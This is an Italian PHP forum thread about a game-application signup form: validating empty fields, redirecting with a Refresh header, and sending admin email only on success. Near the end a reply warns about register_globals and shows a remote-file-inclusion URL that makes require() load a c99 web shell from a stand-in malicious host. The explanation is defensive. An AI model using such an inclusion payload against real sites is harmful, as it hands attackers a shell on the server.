form per iscrizione - migliorie

Monital

Utente Attivo
15 Apr 2009
778
2
18
Salve

ho da poco creato uno script per la candidatura ad un gioco manageriale e volevo renderlo completo di qualche particolare quindi se qualcuno a tempo perso può darmi qualche suggerimento glie ne sarei ben grato.

ci sono alcune cose che vorrei migliorare ma partiamo con la prima

A)

in pratica lo script ha una pagina in htm dove è presente il form una volta completate le caselle alla pressione del tasto "invia" le variabili del form vengono inviate ad un file php che le elabora. ho inserito nello stesso la possibilitò che se uno dei campi resta vuoto esce un messaggio di errore

però vorrei che dopo il mesaggio di errore si riaggiorni la pagina del form

questo il codice che fa riconoscere l'errore

Codice:
$errore=false;
#ho impostato la variabile a false in modo che quando c'e mi mostri torna indietro
if ( ($nome == "") || ($contatto== "") || ($internet== "") || ($dettagli== "") || ($motivo== "") || ($presenta== "")  || ($disponibile== "")) {
#se solo uno dei campi è vuoto
$errore=true;
}
#se c'e l'errore mi dice di inserirli di nuovo altrimenti mi fa leggere gli annunci
if($errore){
echo"<br><b>E' necessario compilare tutti i campi affinchè la candidatura vada a buon fine, ritorna al form</b><br> ";


}
else{

dopo l'else parte il codice php per il completamenteo dello script, come posso modificare l'echo affinchè dopo il riconoscimento dell'errore riaggiorni la pagina?
 
Rigorosamente *PRIMA* di visualizzare il messaggio inserisci questo codice:
PHP:
header("Refresh:3;index.php");
E dopo 3 secondi l'utente sarà reindirizzato alla pagina index.php.

ale grazie della risposta tempestiva ma purtroppo non funziona l'ho messo priam della riga che inizia con echo


dopo questo volevo sapere n'altra cosa

se vengono compilati tutti i campi quindi si verfifica l'else faccio scrivere i dati in un file htm( e di questo vorrei approfondire dii seguito) tramite questo codice
$font_size=2;
$fp=fopen("registra.htm","a");
fseek($fp, -3, SEEK_CUR);
$stringa="
etc.;
fwrite($fp,$stringa);
fclose($fp);

dopodichè ho chiusoi ph con ?> e riaperto per inviare un email agli amministratori

però l'email la manda anche se uno non ha compilato correttamente i campi come fargli capire che deve mandare l'email solo se la candidatura è avventuta con successo?
 
Intanto posta il codice del programma, comprensivo del redirect nella maniera che ti avevo suggerito io.

Codice:
<?php
$errore=false;
#ho impostato la variabile a false in modo che quando c'e mi mostri torna indietro
if ( ($dato1== "") || ($dato2== "") || ($dato3== "") || ($dato4== "") || ($dato5== "") || ($dato6== "")  || ($dato7== "")) {
#se solo uno dei campi è vuoto
$errore=true;
}
#se c'e l'errore mi dice di inserirli di nuovo altrimenti mi fa leggere gli annunci
if($errore){
header("Refresh:3;form.php"); 
echo"<br><b>E' necessario compilare tutti i campi affinchè la candidatura vada a buon fine, ritorna al form</b><br> ";


}
else{
 
Codice:
<?php
$errore=false;
#ho impostato la variabile a false in modo che quando c'e mi mostri torna indietro
if ( ($dato1== "") || ($dato2== "") || ($dato3== "") || ($dato4== "") || ($dato5== "") || ($dato6== "")  || ($dato7== "")) {
#se solo uno dei campi è vuoto
$errore=true;
}
#se c'e l'errore mi dice di inserirli di nuovo altrimenti mi fa leggere gli annunci
if($errore){
header("Refresh:3;form.php"); 
echo"<br><b>E' necessario compilare tutti i campi affinchè la candidatura vada a buon fine, ritorna al form</b><br> ";


}
else{

nessuna idea ? :crying:
 
Ma al momento del redirect prima non è stampato nessun testo né impostato alcun header, vero?

no ale nessun testo e nessun header prima del redirect, dopo si che c'è l'header per l'invio dell'email

P.s. eliox

aiutami a ricordare dove si trova il register global :book:
 
register_globals è un'impostazione del file php.ini ed è un enorme rischio per la sicurezza. Sinceramente credo che questa gli sviluppatori di PHP se la potevano anche risparmiare.

Praticamente se è impostato ad on e tu hai uno script.php strutturato così:
PHP:
<?php
echo $var;
?>
Ed io vi accedo da questo URL: http://www.tuosito.com/script.php?var=ciao allora $var sarà uguale a $_GET['var'] e lo script stamperà a video ciao.

Ma se hai uno script strutturato così:
PHP:
<?php
require($var);
?>
Perché magari $var è definita in un altro file, e io lo so, e vi accedo da questo URL: http://www.tuosito.com/script.php?var=http://www.sitomaligno.com/shellc99.txt... che cosa succede? 0:)
 

Discussioni simili